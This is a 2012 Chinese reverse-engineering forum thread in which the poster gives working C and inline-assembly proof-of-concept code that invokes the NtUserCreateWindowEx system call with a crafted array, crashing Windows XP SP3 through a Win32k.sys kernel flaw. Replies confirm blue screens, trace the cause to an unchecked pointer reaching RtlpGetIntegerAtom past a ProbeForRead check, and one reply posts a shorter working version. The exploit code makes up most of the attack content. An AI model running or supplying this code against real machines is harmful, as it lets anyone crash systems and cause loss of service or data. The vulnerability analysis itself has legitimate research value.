首页
社区
课程
招聘
[原创]Microsoft Windows xp Win32k.sys Local Kernel DoS Vulnerability
发表于: 2012-5-2 12:41 14456

[原创]Microsoft Windows xp Win32k.sys Local Kernel DoS Vulnerability

dge 活跃值
6
2012-5-2 12:41
14456

////////////////////////////////////////////////////////////////////////////
//
// Title: Microsoft Windows xp Win32k.sys Local Kernel DoS Vulnerability
// Vendor: www.microsoft.com
// Vulnerable: Windows xp sp3(full patch)
//
/////////////////////////////////////////////////////////////////////////////

#include <Windows.h>
#include <stdio.h>

void NtUserCreateWindowEx(HANDLE d1,int d2,int d3)
{
        _asm{
               xor eax,eax
                push eax
                push eax
                    push eax
                    push eax
                    push eax
                    push eax
                    push eax
                push eax
                push eax
                    push eax
                    push eax
                    push eax
                    push d3
                    push d2
                push d1
                push eax
                mov eax,0x1157
                mov edx,7FFE0300h
                call  dword ptr[edx]
                ret 0x3c
        }
}
void main()
{
        UINT i=0;
        UINT c[]={  
0x00000000,0x28001500,0xff7c98cc,0x23ffffff
,0x167c98cc,0x007c98fb,0x02001500,0x78010000
,0x00000000,0x00001500,0x00000000,0x00001500
,0x00000000,0x00001500,0x00000000,0x00000000
,0x00000000,0x00000000,0x34000000,0x3cc00000
,0x5c0007fb,0x617c92f6,0x347c92f6,0x00c00000
,0x00000000,0x18000000,0x000007fb,0xf8000000
,0x200007fd,0x347c92e9,0x02c00000,0x4c000000
        };
                HWND _wnd = CreateWindowEx(WS_EX_TOPMOST,
                                                                "magic",
                                                                "magic",
                                                                WS_POPUP,
                                                                100,
                                                                100,
                                                                100,
                                                                100,
                                                                0,
                                                                0,
                                                                GetModuleHandle( 0 ),
                                                                0);
        NtUserCreateWindowEx(_wnd,0x26,(UINT)c);
}

BTW:just for fun


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 6
支持
分享
最新回复 (23)
雪    币: 249
活跃值: (71)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
2
亲测可行,膜拜!
2012-5-2 12:58
0
雪    币: 227
活跃值: (120)
能力值: ( LV10,RANK:160 )
在线值:
发帖
回帖
粉丝
3
XPSP3 成功BSOD。碉堡了哦
2012-5-2 15:34
0
雪    币: 195
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
那位神人讲讲原理啊~ 我电脑运行直接重启了!
2012-5-2 16:43
0
雪    币: 485
活跃值: (78)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
5
大略看了下BSOD的信息

调用RtlpGetIntegerAtom时执行到下面的这一句

if (*Name != L'#') { //执行到这里,因为Name指向NULL,再取它的值用比较就BSOD了

Name这个参数没有做任何检查
2012-5-2 18:02
0
雪    币: 949
活跃值: (18)
能力值: ( LV9,RANK:330 )
在线值:
发帖
回帖
粉丝
6
没敢试...,顶一下。
2012-5-2 18:57
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
7
Name检查过了,没检查好。


…………………………
UINT c[]={
0x00000000,0x28001500,0xff7c98cc,0x23ffffff
…………………………


Name没指向NULL,而是指向0xff7c98cc,你把0xff7c98cc改为0x80000000也能蓝

精简一下:

#include <Windows.h>
void _declspec(naked) NtUserCreateWindowEx(ULONG d1,...)
{
	__asm
	{
		mov eax,0x1157
		mov edx,7FFE0300h
		call  dword ptr[edx]
		ret 0x3c
	}
}

UINT c[]={ 0, 0, 0x80000000 };
void main()
{
	LoadLibraryA("user32.dll");
	NtUserCreateWindowEx(0,0,c,0,0,0,0,0,0,0,0,0,0);
}
2012-5-2 18:59
0
雪    币: 485
活跃值: (78)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
8
感谢LS指正,我可能没表达清楚~~~

原意是想说
f0754b34 805d4604 ff7c98cc f0754b58 00400000 nt!RtlpGetIntegerAtom+0x35

这里的为空的

kd> du ff7c98cc
ff7c98cc  "????????????????????????????????"
ff7c990c  "????????????????????????????????"
2012-5-2 19:36
0
雪    币: 249
活跃值: (71)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
9
LZ是看反汇编代码看出来的吗?
2012-5-2 23:02
0
雪    币: 1015
活跃值: (235)
能力值: ( LV12,RANK:440 )
在线值:
发帖
回帖
粉丝
10
顶楼上的问题
2012-5-3 08:46
0
雪    币: 602
活跃值: (45)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
蓝?..............
2012-5-3 08:57
0
雪    币: 220
活跃值: (721)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
win2003 测试无结果!
2012-5-3 09:22
0
雪    币: 622
活跃值: (65)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
13
不是。
关于漏洞挖掘的资料已经很完善了,虽然具体的东西不一样,但本质都是一样的,灵活运用。
http://sebug.net/paper/Meeting-Documents/syscanhk/AttackingAV_syscan08hk.ppt
http://www.slideshare.net/michelemanzotti/gdi-font-fuzzing-in-windows-kernel-for-fun
2012-5-3 09:35
0
雪    币: 622
活跃值: (65)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
14
标题明明写的是XP啊
2012-5-3 09:38
0
雪    币: 195
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
还是看不太懂
2012-5-3 09:50
0
雪    币: 120
活跃值: (160)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
测试去。。。。。
2012-5-3 12:01
0
雪    币: 255
活跃值: (207)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
17
2008也有同样问题不?
2012-5-3 12:30
0
雪    币: 106
活跃值: (40)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
18
可惜MS不要XP啊,要不还能换个表扬来安抚一下小内心,哈哈
支持lz.
2012-5-3 16:53
0
雪    币: 27
活跃值: (127)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
19
漏洞挖掘?向楼主学习。
2012-5-3 23:38
0
雪    币: 19
活跃值: (22)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
体验下子。待会儿汇报。。。
2012-5-4 15:01
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
21
膜拜dge大黑阔……
2012-5-5 12:22
0
雪    币: 224
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
看错了,我晕
2012-5-5 18:30
0
雪    币: 106
活跃值: (35)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
微软也会掉进ProbeForRead陷阱啊,呵呵。

当UNICODE_STRING.Length为0的时候,即使Buffer指向内核地址也可以通过Probe。
本来这样的字符串传递给其他UNICODE_STRING处理函数是不会有问题的,但偏偏NtUserCreateWindowsEx直接调用UserFindAtom,而这个函数只处理NULL结尾字符串,而不是UNICODE_STRING。
2012-5-5 18:40
0
雪    币: 411
活跃值: (247)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
24
楼上的zzzevazzz看起好眼熟...不知道是不是N年前那个
2012-5-6 21:38
0
游客
登录 | 注册 方可回帖
返回
//